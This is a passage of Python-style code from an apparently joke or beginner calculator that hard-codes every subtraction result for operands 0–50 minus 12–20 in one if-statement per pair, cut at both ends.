"-" and secondNum == 12 : print("43 - 12 = 31") if firstNum == 44 and sign == "-" and secondNum == 12 : print("44 - 12 = 32") if firstNum == 45 and sign == "-" and secondNum == 12 : print("45 - 12 = 33") if firstNum == 46 and sign == "-" and secondNum == 12 : print("46 - 12 = 34") if firstNum == 47 and sign == "-" and secondNum == 12 : print("47 - 12 = 35") if firstNum == 48 and sign == "-" and secondNum == 12 : print("48 - 12 = 36") if firstNum == 49 and sign == "-" and secondNum == 12 : print("49 - 12 = 37") if firstNum == 50 and sign == "-" and secondNum == 12 : print("50 - 12 = 38") if firstNum == 0 and sign == "-" and secondNum == 13 : print("0 - 13 = -13") if firstNum == 1 and sign == "-" and secondNum == 13 : print("1 - 13 = -12") if firstNum == 2 and sign == "-" and secondNum == 13 : print("2 - 13 = -11") if firstNum == 3 and sign == "-" and secondNum == 13 : print("3 - 13 = -10") if firstNum == 4 and sign == "-" and secondNum == 13 : print("4 - 13 = -9") if firstNum == 5 and sign == "-" and secondNum == 13 : print("5 - 13 = -8") if firstNum == 6 and sign == "-" and secondNum == 13 : print("6 - 13 = -7") if firstNum == 7 and sign == "-" and secondNum == 13 : print("7 - 13 = -6") if firstNum == 8 and sign == "-" and secondNum == 13 : print("8 - 13 = -5") if firstNum == 9 and sign == "-" and secondNum == 13 : print("9 - 13 = -4") if firstNum == 10 and sign == "-" and secondNum == 13 : print("10 - 13 = -3") if firstNum == 11 and sign == "-" and secondNum == 13 : print("11 - 13 = -2") if firstNum == 12 and sign == "-" and secondNum == 13 : print("12 - 13 = -1") if firstNum == 13 and sign == "-" and secondNum == 13 : print("13 - 13 = 0") if firstNum == 14 and sign == "-" and secondNum == 13 : print("14 - 13 = 1") if firstNum == 15 and sign == "-" and secondNum == 13 : print("15 - 13 = 2") if firstNum == 16 and sign == "-" and secondNum == 13 : print("16 - 13 = 3") if firstNum == 17 and sign == "-" and secondNum == 13 : print("17 - 13 = 4") if firstNum == 18 and sign == "-" and secondNum == 13 : print("18 - 13 = 5") if firstNum == 19 and sign == "-" and secondNum == 13 : print("19 - 13 = 6") if firstNum == 20 and sign == "-" and secondNum == 13 : print("20 - 13 = 7") if firstNum == 21 and sign == "-" and secondNum == 13 : print("21 - 13 = 8") if firstNum == 22 and sign == "-" and secondNum == 13 : print("22 - 13 = 9") if firstNum == 23 and sign == "-" and secondNum == 13 : print("23 - 13 = 10") if firstNum == 24 and sign == "-" and secondNum == 13 : print("24 - 13 = 11") if firstNum == 25 and sign == "-" and secondNum == 13 : print("25 - 13 = 12") if firstNum == 26 and sign == "-" and secondNum == 13 : print("26 - 13 = 13") if firstNum == 27 and sign == "-" and secondNum == 13 : print("27 - 13 = 14") if firstNum == 28 and sign == "-" and secondNum == 13 : print("28 - 13 = 15") if firstNum == 29 and sign == "-" and secondNum == 13 : print("29 - 13 = 16") if firstNum == 30 and sign == "-" and secondNum == 13 : print("30 - 13 = 17") if firstNum == 31 and sign == "-" and secondNum == 13 : print("31 - 13 = 18") if firstNum == 32 and sign == "-" and secondNum == 13 : print("32 - 13 = 19") if firstNum == 33 and sign == "-" and secondNum == 13 : print("33 - 13 = 20") if firstNum == 34 and sign == "-" and secondNum == 13 : print("34 - 13 = 21") if firstNum == 35 and sign == "-" and secondNum == 13 : print("35 - 13 = 22") if firstNum == 36 and sign == "-" and secondNum == 13 : print("36 - 13 = 23") if firstNum == 37 and sign == "-" and secondNum == 13 : print("37 - 13 = 24") if firstNum == 38 and sign == "-" and secondNum == 13 : print("38 - 13 = 25") if firstNum == 39 and sign == "-" and secondNum == 13 : print("39 - 13 = 26") if firstNum == 40 and sign == "-" and secondNum == 13 : print("40 - 13 = 27") if firstNum == 41 and sign == "-" and secondNum == 13 : print("41 - 13 = 28") if firstNum == 42 and sign == "-" and secondNum == 13 : print("42 - 13 = 29") if firstNum == 43 and sign == "-" and secondNum == 13 : print("43 - 13 = 30") if firstNum == 44 and sign == "-" and secondNum == 13 : print("44 - 13 = 31") if firstNum == 45 and sign == "-" and secondNum == 13 : print("45 - 13 = 32") if firstNum == 46 and sign == "-" and secondNum == 13 : print("46 - 13 = 33") if firstNum == 47 and sign == "-" and secondNum == 13 : print("47 - 13 = 34") if firstNum == 48 and sign == "-" and secondNum == 13 : print("48 - 13 = 35") if firstNum == 49 and sign == "-" and secondNum == 13 : print("49 - 13 = 36") if firstNum == 50 and sign == "-" and secondNum == 13 : print("50 - 13 = 37") if firstNum == 0 and sign == "-" and secondNum == 14 : print("0 - 14 = -14") if firstNum == 1 and sign == "-" and secondNum == 14 : print("1 - 14 = -13") if firstNum == 2 and sign == "-" and secondNum == 14 : print("2 - 14 = -12") if firstNum == 3 and sign == "-" and secondNum == 14 : print("3 - 14 = -11") if firstNum == 4 and sign == "-" and secondNum == 14 : print("4 - 14 = -10") if firstNum == 5 and sign == "-" and secondNum == 14 : print("5 - 14 = -9") if firstNum == 6 and sign == "-" and secondNum == 14 : print("6 - 14 = -8") if firstNum == 7 and sign == "-" and secondNum == 14 : print("7 - 14 = -7") if firstNum == 8 and sign == "-" and secondNum == 14 : print("8 - 14 = -6") if firstNum == 9 and sign == "-" and secondNum == 14 : print("9 - 14 = -5") if firstNum == 10 and sign == "-" and secondNum == 14 : print("10 - 14 = -4") if firstNum == 11 and sign == "-" and secondNum == 14 : print("11 - 14 = -3") if firstNum == 12 and sign == "-" and secondNum == 14 : print("12 - 14 = -2") if firstNum == 13 and sign == "-" and secondNum == 14 : print("13 - 14 = -1") if firstNum == 14 and sign == "-" and secondNum == 14 : print("14 - 14 = 0") if firstNum == 15 and sign == "-" and secondNum == 14 : print("15 - 14 = 1") if firstNum == 16 and sign == "-" and secondNum == 14 : print("16 - 14 = 2") if firstNum == 17 and sign == "-" and secondNum == 14 : print("17 - 14 = 3") if firstNum == 18 and sign == "-" and secondNum == 14 : print("18 - 14 = 4") if firstNum == 19 and sign == "-" and secondNum == 14 : print("19 - 14 = 5") if firstNum == 20 and sign == "-" and secondNum == 14 : print("20 - 14 = 6") if firstNum == 21 and sign == "-" and secondNum == 14 : print("21 - 14 = 7") if firstNum == 22 and sign == "-" and secondNum == 14 : print("22 - 14 = 8") if firstNum == 23 and sign == "-" and secondNum == 14 : print("23 - 14 = 9") if firstNum == 24 and sign == "-" and secondNum == 14 : print("24 - 14 = 10") if firstNum == 25 and sign == "-" and secondNum == 14 : print("25 - 14 = 11") if firstNum == 26 and sign == "-" and secondNum == 14 : print("26 - 14 = 12") if firstNum == 27 and sign == "-" and secondNum == 14 : print("27 - 14 = 13") if firstNum == 28 and sign == "-" and secondNum == 14 : print("28 - 14 = 14") if firstNum == 29 and sign == "-" and secondNum == 14 : print("29 - 14 = 15") if firstNum == 30 and sign == "-" and secondNum == 14 : print("30 - 14 = 16") if firstNum == 31 and sign == "-" and secondNum == 14 : print("31 - 14 = 17") if firstNum == 32 and sign == "-" and secondNum == 14 : print("32 - 14 = 18") if firstNum == 33 and sign == "-" and secondNum == 14 : print("33 - 14 = 19") if firstNum == 34 and sign == "-" and secondNum == 14 : print("34 - 14 = 20") if firstNum == 35 and sign == "-" and secondNum == 14 : print("35 - 14 = 21") if firstNum == 36 and sign == "-" and secondNum == 14 : print("36 - 14 = 22") if firstNum == 37 and sign == "-" and secondNum == 14 : print("37 - 14 = 23") if firstNum == 38 and sign == "-" and secondNum == 14 : print("38 - 14 = 24") if firstNum == 39 and sign == "-" and secondNum == 14 : print("39 - 14 = 25") if firstNum == 40 and sign == "-" and secondNum == 14 : print("40 - 14 = 26") if firstNum == 41 and sign == "-" and secondNum == 14 : print("41 - 14 = 27") if firstNum == 42 and sign == "-" and secondNum == 14 : print("42 - 14 = 28") if firstNum == 43 and sign == "-" and secondNum == 14 : print("43 - 14 = 29") if firstNum == 44 and sign == "-" and secondNum == 14 : print("44 - 14 = 30") if firstNum == 45 and sign == "-" and secondNum == 14 : print("45 - 14 = 31") if firstNum == 46 and sign == "-" and secondNum == 14 : print("46 - 14 = 32") if firstNum == 47 and sign == "-" and secondNum == 14 : print("47 - 14 = 33") if firstNum == 48 and sign == "-" and secondNum == 14 : print("48 - 14 = 34") if firstNum == 49 and sign == "-" and secondNum == 14 : print("49 - 14 = 35") if firstNum == 50 and sign == "-" and secondNum == 14 : print("50 - 14 = 36") if firstNum == 0 and sign == "-" and secondNum == 15 : print("0 - 15 = -15") if firstNum == 1 and sign == "-" and secondNum == 15 : print("1 - 15 = -14") if firstNum == 2 and sign == "-" and secondNum == 15 : print("2 - 15 = -13") if firstNum == 3 and sign == "-" and secondNum == 15 : print("3 - 15 = -12") if firstNum == 4 and sign == "-" and secondNum == 15 : print("4 - 15 = -11") if firstNum == 5 and sign == "-" and secondNum == 15 : print("5 - 15 = -10") if firstNum == 6 and sign == "-" and secondNum == 15 : print("6 - 15 = -9") if firstNum == 7 and sign == "-" and secondNum == 15 : print("7 - 15 = -8") if firstNum == 8 and sign == "-" and secondNum == 15 : print("8 - 15 = -7") if firstNum == 9 and sign == "-" and secondNum == 15 : print("9 - 15 = -6") if firstNum == 10 and sign == "-" and secondNum == 15 : print("10 - 15 = -5") if firstNum == 11 and sign == "-" and secondNum == 15 : print("11 - 15 = -4") if firstNum == 12 and sign == "-" and secondNum == 15 : print("12 - 15 = -3") if firstNum == 13 and sign == "-" and secondNum == 15 : print("13 - 15 = -2") if firstNum == 14 and sign == "-" and secondNum == 15 : print("14 - 15 = -1") if firstNum == 15 and sign == "-" and secondNum == 15 : print("15 - 15 = 0") if firstNum == 16 and sign == "-" and secondNum == 15 : print("16 - 15 = 1") if firstNum == 17 and sign == "-" and secondNum == 15 : print("17 - 15 = 2") if firstNum == 18 and sign == "-" and secondNum == 15 : print("18 - 15 = 3") if firstNum == 19 and sign == "-" and secondNum == 15 : print("19 - 15 = 4") if firstNum == 20 and sign == "-" and secondNum == 15 : print("20 - 15 = 5") if firstNum == 21 and sign == "-" and secondNum == 15 : print("21 - 15 = 6") if firstNum == 22 and sign == "-" and secondNum == 15 : print("22 - 15 = 7") if firstNum == 23 and sign == "-" and secondNum == 15 : print("23 - 15 = 8") if firstNum == 24 and sign == "-" and secondNum == 15 : print("24 - 15 = 9") if firstNum == 25 and sign == "-" and secondNum == 15 : print("25 - 15 = 10") if firstNum == 26 and sign == "-" and secondNum == 15 : print("26 - 15 = 11") if firstNum == 27 and sign == "-" and secondNum == 15 : print("27 - 15 = 12") if firstNum == 28 and sign == "-" and secondNum == 15 : print("28 - 15 = 13") if firstNum == 29 and sign == "-" and secondNum == 15 : print("29 - 15 = 14") if firstNum == 30 and sign == "-" and secondNum == 15 : print("30 - 15 = 15") if firstNum == 31 and sign == "-" and secondNum == 15 : print("31 - 15 = 16") if firstNum == 32 and sign == "-" and secondNum == 15 : print("32 - 15 = 17") if firstNum == 33 and sign == "-" and secondNum == 15 : print("33 - 15 = 18") if firstNum == 34 and sign == "-" and secondNum == 15 : print("34 - 15 = 19") if firstNum == 35 and sign == "-" and secondNum == 15 : print("35 - 15 = 20") if firstNum == 36 and sign == "-" and secondNum == 15 : print("36 - 15 = 21") if firstNum == 37 and sign == "-" and secondNum == 15 : print("37 - 15 = 22") if firstNum == 38 and sign == "-" and secondNum == 15 : print("38 - 15 = 23") if firstNum == 39 and sign == "-" and secondNum == 15 : print("39 - 15 = 24") if firstNum == 40 and sign == "-" and secondNum == 15 : print("40 - 15 = 25") if firstNum == 41 and sign == "-" and secondNum == 15 : print("41 - 15 = 26") if firstNum == 42 and sign == "-" and secondNum == 15 : print("42 - 15 = 27") if firstNum == 43 and sign == "-" and secondNum == 15 : print("43 - 15 = 28") if firstNum == 44 and sign == "-" and secondNum == 15 : print("44 - 15 = 29") if firstNum == 45 and sign == "-" and secondNum == 15 : print("45 - 15 = 30") if firstNum == 46 and sign == "-" and secondNum == 15 : print("46 - 15 = 31") if firstNum == 47 and sign == "-" and secondNum == 15 : print("47 - 15 = 32") if firstNum == 48 and sign == "-" and secondNum == 15 : print("48 - 15 = 33") if firstNum == 49 and sign == "-" and secondNum == 15 : print("49 - 15 = 34") if firstNum == 50 and sign == "-" and secondNum == 15 : print("50 - 15 = 35") if firstNum == 0 and sign == "-" and secondNum == 16 : print("0 - 16 = -16") if firstNum == 1 and sign == "-" and secondNum == 16 : print("1 - 16 = -15") if firstNum == 2 and sign == "-" and secondNum == 16 : print("2 - 16 = -14") if firstNum == 3 and sign == "-" and secondNum == 16 : print("3 - 16 = -13") if firstNum == 4 and sign == "-" and secondNum == 16 : print("4 - 16 = -12") if firstNum == 5 and sign == "-" and secondNum == 16 : print("5 - 16 = -11") if firstNum == 6 and sign == "-" and secondNum == 16 : print("6 - 16 = -10") if firstNum == 7 and sign == "-" and secondNum == 16 : print("7 - 16 = -9") if firstNum == 8 and sign == "-" and secondNum == 16 : print("8 - 16 = -8") if firstNum == 9 and sign == "-" and secondNum == 16 : print("9 - 16 = -7") if firstNum == 10 and sign == "-" and secondNum == 16 : print("10 - 16 = -6") if firstNum == 11 and sign == "-" and secondNum == 16 : print("11 - 16 = -5") if firstNum == 12 and sign == "-" and secondNum == 16 : print("12 - 16 = -4") if firstNum == 13 and sign == "-" and secondNum == 16 : print("13 - 16 = -3") if firstNum == 14 and sign == "-" and secondNum == 16 : print("14 - 16 = -2") if firstNum == 15 and sign == "-" and secondNum == 16 : print("15 - 16 = -1") if firstNum == 16 and sign == "-" and secondNum == 16 : print("16 - 16 = 0") if firstNum == 17 and sign == "-" and secondNum == 16 : print("17 - 16 = 1") if firstNum == 18 and sign == "-" and secondNum == 16 : print("18 - 16 = 2") if firstNum == 19 and sign == "-" and secondNum == 16 : print("19 - 16 = 3") if firstNum == 20 and sign == "-" and secondNum == 16 : print("20 - 16 = 4") if firstNum == 21 and sign == "-" and secondNum == 16 : print("21 - 16 = 5") if firstNum == 22 and sign == "-" and secondNum == 16 : print("22 - 16 = 6") if firstNum == 23 and sign == "-" and secondNum == 16 : print("23 - 16 = 7") if firstNum == 24 and sign == "-" and secondNum == 16 : print("24 - 16 = 8") if firstNum == 25 and sign == "-" and secondNum == 16 : print("25 - 16 = 9") if firstNum == 26 and sign == "-" and secondNum == 16 : print("26 - 16 = 10") if firstNum == 27 and sign == "-" and secondNum == 16 : print("27 - 16 = 11") if firstNum == 28 and sign == "-" and secondNum == 16 : print("28 - 16 = 12") if firstNum == 29 and sign == "-" and secondNum == 16 : print("29 - 16 = 13") if firstNum == 30 and sign == "-" and secondNum == 16 : print("30 - 16 = 14") if firstNum == 31 and sign == "-" and secondNum == 16 : print("31 - 16 = 15") if firstNum == 32 and sign == "-" and secondNum == 16 : print("32 - 16 = 16") if firstNum == 33 and sign == "-" and secondNum == 16 : print("33 - 16 = 17") if firstNum == 34 and sign == "-" and secondNum == 16 : print("34 - 16 = 18") if firstNum == 35 and sign == "-" and secondNum == 16 : print("35 - 16 = 19") if firstNum == 36 and sign == "-" and secondNum == 16 : print("36 - 16 = 20") if firstNum == 37 and sign == "-" and secondNum == 16 : print("37 - 16 = 21") if firstNum == 38 and sign == "-" and secondNum == 16 : print("38 - 16 = 22") if firstNum == 39 and sign == "-" and secondNum == 16 : print("39 - 16 = 23") if firstNum == 40 and sign == "-" and secondNum == 16 : print("40 - 16 = 24") if firstNum == 41 and sign == "-" and secondNum == 16 : print("41 - 16 = 25") if firstNum == 42 and sign == "-" and secondNum == 16 : print("42 - 16 = 26") if firstNum == 43 and sign == "-" and secondNum == 16 : print("43 - 16 = 27") if firstNum == 44 and sign == "-" and secondNum == 16 : print("44 - 16 = 28") if firstNum == 45 and sign == "-" and secondNum == 16 : print("45 - 16 = 29") if firstNum == 46 and sign == "-" and secondNum == 16 : print("46 - 16 = 30") if firstNum == 47 and sign == "-" and secondNum == 16 : print("47 - 16 = 31") if firstNum == 48 and sign == "-" and secondNum == 16 : print("48 - 16 = 32") if firstNum == 49 and sign == "-" and secondNum == 16 : print("49 - 16 = 33") if firstNum == 50 and sign == "-" and secondNum == 16 : print("50 - 16 = 34") if firstNum == 0 and sign == "-" and secondNum == 17 : print("0 - 17 = -17") if firstNum == 1 and sign == "-" and secondNum == 17 : print("1 - 17 = -16") if firstNum == 2 and sign == "-" and secondNum == 17 : print("2 - 17 = -15") if firstNum == 3 and sign == "-" and secondNum == 17 : print("3 - 17 = -14") if firstNum == 4 and sign == "-" and secondNum == 17 : print("4 - 17 = -13") if firstNum == 5 and sign == "-" and secondNum == 17 : print("5 - 17 = -12") if firstNum == 6 and sign == "-" and secondNum == 17 : print("6 - 17 = -11") if firstNum == 7 and sign == "-" and secondNum == 17 : print("7 - 17 = -10") if firstNum == 8 and sign == "-" and secondNum == 17 : print("8 - 17 = -9") if firstNum == 9 and sign == "-" and secondNum == 17 : print("9 - 17 = -8") if firstNum == 10 and sign == "-" and secondNum == 17 : print("10 - 17 = -7") if firstNum == 11 and sign == "-" and secondNum == 17 : print("11 - 17 = -6") if firstNum == 12 and sign == "-" and secondNum == 17 : print("12 - 17 = -5") if firstNum == 13 and sign == "-" and secondNum == 17 : print("13 - 17 = -4") if firstNum == 14 and sign == "-" and secondNum == 17 : print("14 - 17 = -3") if firstNum == 15 and sign == "-" and secondNum == 17 : print("15 - 17 = -2") if firstNum == 16 and sign == "-" and secondNum == 17 : print("16 - 17 = -1") if firstNum == 17 and sign == "-" and secondNum == 17 : print("17 - 17 = 0") if firstNum == 18 and sign == "-" and secondNum == 17 : print("18 - 17 = 1") if firstNum == 19 and sign == "-" and secondNum == 17 : print("19 - 17 = 2") if firstNum == 20 and sign == "-" and secondNum == 17 : print("20 - 17 = 3") if firstNum == 21 and sign == "-" and secondNum == 17 : print("21 - 17 = 4") if firstNum == 22 and sign == "-" and secondNum == 17 : print("22 - 17 = 5") if firstNum == 23 and sign == "-" and secondNum == 17 : print("23 - 17 = 6") if firstNum == 24 and sign == "-" and secondNum == 17 : print("24 - 17 = 7") if firstNum == 25 and sign == "-" and secondNum == 17 : print("25 - 17 = 8") if firstNum == 26 and sign == "-" and secondNum == 17 : print("26 - 17 = 9") if firstNum == 27 and sign == "-" and secondNum == 17 : print("27 - 17 = 10") if firstNum == 28 and sign == "-" and secondNum == 17 : print("28 - 17 = 11") if firstNum == 29 and sign == "-" and secondNum == 17 : print("29 - 17 = 12") if firstNum == 30 and sign == "-" and secondNum == 17 : print("30 - 17 = 13") if firstNum == 31 and sign == "-" and secondNum == 17 : print("31 - 17 = 14") if firstNum == 32 and sign == "-" and secondNum == 17 : print("32 - 17 = 15") if firstNum == 33 and sign == "-" and secondNum == 17 : print("33 - 17 = 16") if firstNum == 34 and sign == "-" and secondNum == 17 : print("34 - 17 = 17") if firstNum == 35 and sign == "-" and secondNum == 17 : print("35 - 17 = 18") if firstNum == 36 and sign == "-" and secondNum == 17 : print("36 - 17 = 19") if firstNum == 37 and sign == "-" and secondNum == 17 : print("37 - 17 = 20") if firstNum == 38 and sign == "-" and secondNum == 17 : print("38 - 17 = 21") if firstNum == 39 and sign == "-" and secondNum == 17 : print("39 - 17 = 22") if firstNum == 40 and sign == "-" and secondNum == 17 : print("40 - 17 = 23") if firstNum == 41 and sign == "-" and secondNum == 17 : print("41 - 17 = 24") if firstNum == 42 and sign == "-" and secondNum == 17 : print("42 - 17 = 25") if firstNum == 43 and sign == "-" and secondNum == 17 : print("43 - 17 = 26") if firstNum == 44 and sign == "-" and secondNum == 17 : print("44 - 17 = 27") if firstNum == 45 and sign == "-" and secondNum == 17 : print("45 - 17 = 28") if firstNum == 46 and sign == "-" and secondNum == 17 : print("46 - 17 = 29") if firstNum == 47 and sign == "-" and secondNum == 17 : print("47 - 17 = 30") if firstNum == 48 and sign == "-" and secondNum == 17 : print("48 - 17 = 31") if firstNum == 49 and sign == "-" and secondNum == 17 : print("49 - 17 = 32") if firstNum == 50 and sign == "-" and secondNum == 17 : print("50 - 17 = 33") if firstNum == 0 and sign == "-" and secondNum == 18 : print("0 - 18 = -18") if firstNum == 1 and sign == "-" and secondNum == 18 : print("1 - 18 = -17") if firstNum == 2 and sign == "-" and secondNum == 18 : print("2 - 18 = -16") if firstNum == 3 and sign == "-" and secondNum == 18 : print("3 - 18 = -15") if firstNum == 4 and sign == "-" and secondNum == 18 : print("4 - 18 = -14") if firstNum == 5 and sign == "-" and secondNum == 18 : print("5 - 18 = -13") if firstNum == 6 and sign == "-" and secondNum == 18 : print("6 - 18 = -12") if firstNum == 7 and sign == "-" and secondNum == 18 : print("7 - 18 = -11") if firstNum == 8 and sign == "-" and secondNum == 18 : print("8 - 18 = -10") if firstNum == 9 and sign == "-" and secondNum == 18 : print("9 - 18 = -9") if firstNum == 10 and sign == "-" and secondNum == 18 : print("10 - 18 = -8") if firstNum == 11 and sign == "-" and secondNum == 18 : print("11 - 18 = -7") if firstNum == 12 and sign == "-" and secondNum == 18 : print("12 - 18 = -6") if firstNum == 13 and sign == "-" and secondNum == 18 : print("13 - 18 = -5") if firstNum == 14 and sign == "-" and secondNum == 18 : print("14 - 18 = -4") if firstNum == 15 and sign == "-" and secondNum == 18 : print("15 - 18 = -3") if firstNum == 16 and sign == "-" and secondNum == 18 : print("16 - 18 = -2") if firstNum == 17 and sign == "-" and secondNum == 18 : print("17 - 18 = -1") if firstNum == 18 and sign == "-" and secondNum == 18 : print("18 - 18 = 0") if firstNum == 19 and sign == "-" and secondNum == 18 : print("19 - 18 = 1") if firstNum == 20 and sign == "-" and secondNum == 18 : print("20 - 18 = 2") if firstNum == 21 and sign == "-" and secondNum == 18 : print("21 - 18 = 3") if firstNum == 22 and sign == "-" and secondNum == 18 : print("22 - 18 = 4") if firstNum == 23 and sign == "-" and secondNum == 18 : print("23 - 18 = 5") if firstNum == 24 and sign == "-" and secondNum == 18 : print("24 - 18 = 6") if firstNum == 25 and sign == "-" and secondNum == 18 : print("25 - 18 = 7") if firstNum == 26 and sign == "-" and secondNum == 18 : print("26 - 18 = 8") if firstNum == 27 and sign == "-" and secondNum == 18 : print("27 - 18 = 9") if firstNum == 28 and sign == "-" and secondNum == 18 : print("28 - 18 = 10") if firstNum == 29 and sign == "-" and secondNum == 18 : print("29 - 18 = 11") if firstNum == 30 and sign == "-" and secondNum == 18 : print("30 - 18 = 12") if firstNum == 31 and sign == "-" and secondNum == 18 : print("31 - 18 = 13") if firstNum == 32 and sign == "-" and secondNum == 18 : print("32 - 18 = 14") if firstNum == 33 and sign == "-" and secondNum == 18 : print("33 - 18 = 15") if firstNum == 34 and sign == "-" and secondNum == 18 : print("34 - 18 = 16") if firstNum == 35 and sign == "-" and secondNum == 18 : print("35 - 18 = 17") if firstNum == 36 and sign == "-" and secondNum == 18 : print("36 - 18 = 18") if firstNum == 37 and sign == "-" and secondNum == 18 : print("37 - 18 = 19") if firstNum == 38 and sign == "-" and secondNum == 18 : print("38 - 18 = 20") if firstNum == 39 and sign == "-" and secondNum == 18 : print("39 - 18 = 21") if firstNum == 40 and sign == "-" and secondNum == 18 : print("40 - 18 = 22") if firstNum == 41 and sign == "-" and secondNum == 18 : print("41 - 18 = 23") if firstNum == 42 and sign == "-" and secondNum == 18 : print("42 - 18 = 24") if firstNum == 43 and sign == "-" and secondNum == 18 : print("43 - 18 = 25") if firstNum == 44 and sign == "-" and secondNum == 18 : print("44 - 18 = 26") if firstNum == 45 and sign == "-" and secondNum == 18 : print("45 - 18 = 27") if firstNum == 46 and sign == "-" and secondNum == 18 : print("46 - 18 = 28") if firstNum == 47 and sign == "-" and secondNum == 18 : print("47 - 18 = 29") if firstNum == 48 and sign == "-" and secondNum == 18 : print("48 - 18 = 30") if firstNum == 49 and sign == "-" and secondNum == 18 : print("49 - 18 = 31") if firstNum == 50 and sign == "-" and secondNum == 18 : print("50 - 18 = 32") if firstNum == 0 and sign == "-" and secondNum == 19 : print("0 - 19 = -19") if firstNum == 1 and sign == "-" and secondNum == 19 : print("1 - 19 = -18") if firstNum == 2 and sign == "-" and secondNum == 19 : print("2 - 19 = -17") if firstNum == 3 and sign == "-" and secondNum == 19 : print("3 - 19 = -16") if firstNum == 4 and sign == "-" and secondNum == 19 : print("4 - 19 = -15") if firstNum == 5 and sign == "-" and secondNum == 19 : print("5 - 19 = -14") if firstNum == 6 and sign == "-" and secondNum == 19 : print("6 - 19 = -13") if firstNum == 7 and sign == "-" and secondNum == 19 : print("7 - 19 = -12") if firstNum == 8 and sign == "-" and secondNum == 19 : print("8 - 19 = -11") if firstNum == 9 and sign == "-" and secondNum == 19 : print("9 - 19 = -10") if firstNum == 10 and sign == "-" and secondNum == 19 : print("10 - 19 = -9") if firstNum == 11 and sign == "-" and secondNum == 19 : print("11 - 19 = -8") if firstNum == 12 and sign == "-" and secondNum == 19 : print("12 - 19 = -7") if firstNum == 13 and sign == "-" and secondNum == 19 : print("13 - 19 = -6") if firstNum == 14 and sign == "-" and secondNum == 19 : print("14 - 19 = -5") if firstNum == 15 and sign == "-" and secondNum == 19 : print("15 - 19 = -4") if firstNum == 16 and sign == "-" and secondNum == 19 : print("16 - 19 = -3") if firstNum == 17 and sign == "-" and secondNum == 19 : print("17 - 19 = -2") if firstNum == 18 and sign == "-" and secondNum == 19 : print("18 - 19 = -1") if firstNum == 19 and sign == "-" and secondNum == 19 : print("19 - 19 = 0") if firstNum == 20 and sign == "-" and secondNum == 19 : print("20 - 19 = 1") if firstNum == 21 and sign == "-" and secondNum == 19 : print("21 - 19 = 2") if firstNum == 22 and sign == "-" and secondNum == 19 : print("22 - 19 = 3") if firstNum == 23 and sign == "-" and secondNum == 19 : print("23 - 19 = 4") if firstNum == 24 and sign == "-" and secondNum == 19 : print("24 - 19 = 5") if firstNum == 25 and sign == "-" and secondNum == 19 : print("25 - 19 = 6") if firstNum == 26 and sign == "-" and secondNum == 19 : print("26 - 19 = 7") if firstNum == 27 and sign == "-" and secondNum == 19 : print("27 - 19 = 8") if firstNum == 28 and sign == "-" and secondNum == 19 : print("28 - 19 = 9") if firstNum == 29 and sign == "-" and secondNum == 19 : print("29 - 19 = 10") if firstNum == 30 and sign == "-" and secondNum == 19 : print("30 - 19 = 11") if firstNum == 31 and sign == "-" and secondNum == 19 : print("31 - 19 = 12") if firstNum == 32 and sign == "-" and secondNum == 19 : print("32 - 19 = 13") if firstNum == 33 and sign == "-" and secondNum == 19 : print("33 - 19 = 14") if firstNum == 34 and sign == "-" and secondNum == 19 : print("34 - 19 = 15") if firstNum == 35 and sign == "-" and secondNum == 19 : print("35 - 19 = 16") if firstNum == 36 and sign == "-" and secondNum == 19 : print("36 - 19 = 17") if firstNum == 37 and sign == "-" and secondNum == 19 : print("37 - 19 = 18") if firstNum == 38 and sign == "-" and secondNum == 19 : print("38 - 19 = 19") if firstNum == 39 and sign == "-" and secondNum == 19 : print("39 - 19 = 20") if firstNum == 40 and sign == "-" and secondNum == 19 : print("40 - 19 = 21") if firstNum == 41 and sign == "-" and secondNum == 19 : print("41 - 19 = 22") if firstNum == 42 and sign == "-" and secondNum == 19 : print("42 - 19 = 23") if firstNum == 43 and sign == "-" and secondNum == 19 : print("43 - 19 = 24") if firstNum == 44 and sign == "-" and secondNum == 19 : print("44 - 19 = 25") if firstNum == 45 and sign == "-" and secondNum == 19 : print("45 - 19 = 26") if firstNum == 46 and sign == "-" and secondNum == 19 : print("46 - 19 = 27") if firstNum == 47 and sign == "-" and secondNum == 19 : print("47 - 19 = 28") if firstNum == 48 and sign == "-" and secondNum == 19 : print("48 - 19 = 29") if firstNum == 49 and sign == "-" and secondNum == 19 : print("49 - 19 = 30") if firstNum == 50 and sign == "-" and secondNum == 19 : print("50 - 19 = 31") if firstNum == 0 and sign == "-" and secondNum == 20 : print("0 - 20 = -20") if firstNum == 1 and sign == "-" and secondNum == 20 : print("1 - 20 = -19") if firstNum == 2 and sign == "-" and secondNum == 20 : print("2 - 20 = -18") if firstNum == 3 and sign == "-" and secondNum == 20 : print("3 - 20 = -17") if firstNum == 4 and sign == "-" and secondNum == 20 : print("4 - 20 = -16") if firstNum == 5 and sign == "-" and secondNum == 20 : print("5 - 20 = -15") if firstNum == 6 and sign == "-" and secondNum == 20 : print("6 - 20 = -14") if firstNum == 7 and sign == "-" and secondNum == 20 : print("7 - 20 = -13") if firstNum == 8 and sign == "-" and secondNum == 20 : print("8 - 20 = -12") if firstNum == 9 and sign == "-" and secondNum == 20 : print("9 - 20 = -11") if firstNum == 10 and sign == "-" and secondNum == 20 : print("10 - 20 = -10") if firstNum == 11 and sign == "-" and secondNum == 20 : print("11 - 20 = -9") if firstNum == 12 and sign == "-" and secondNum == 20 : print("12 - 20 = -8") if firstNum == 13 and sign == "-" and secondNum == 20 : print("13 - 20 = -7") if firstNum == 14 and sign == "-" and secondNum == 20 : print("14 - 20 = -6") if firstNum == 15 and sign == "-" and secondNum == 20 : print("15 - 20 = -5") if firstNum == 16 and sign == "-" and secondNum == 20 : print("16 - 20 = -4") if firstNum == 17 and sign == "-" and secondNum == 20 : print("17 - 20 = -3") if firstNum == 18 and sign == "-" and secondNum == 20 : print("18 - 20 = -2") if firstNum == 19 and sign == "-" and secondNum == 20 : print("19 - 20 = -1") if firstNum == 20 and sign == "-" and secondNum == 20 : print("20 - 20 = 0") if firstNum == 21 and sign == "-" and secondNum == 20 : print("21 - 20 = 1") if firstNum == 22 and sign == "-" and secondNum == 20 : print("22 - 20 = 2") if firstNum == 23 and sign == "-" and secondNum == 20 : print("23 - 20 = 3") if firstNum == 24 and sign == "-" and secondNum == 20 : print("24 - 20 = 4") if firstNum == 25 and sign == "-" and secondNum == 20 : print("25 - 20 = 5") if firstNum == 26 and sign == "-" and secondNum == 20 : print("26 - 20 = 6") if firstNum == 27 and sign == "-" and secondNum == 20 : print("27 - 20 = 7") if firstNum == 28 and sign == "-" and secondNum == 20 : print("28 - 20 = 8") if firstNum == 29 and sign == "-" and secondNum == 20 : print("29 - 20 = 9") if 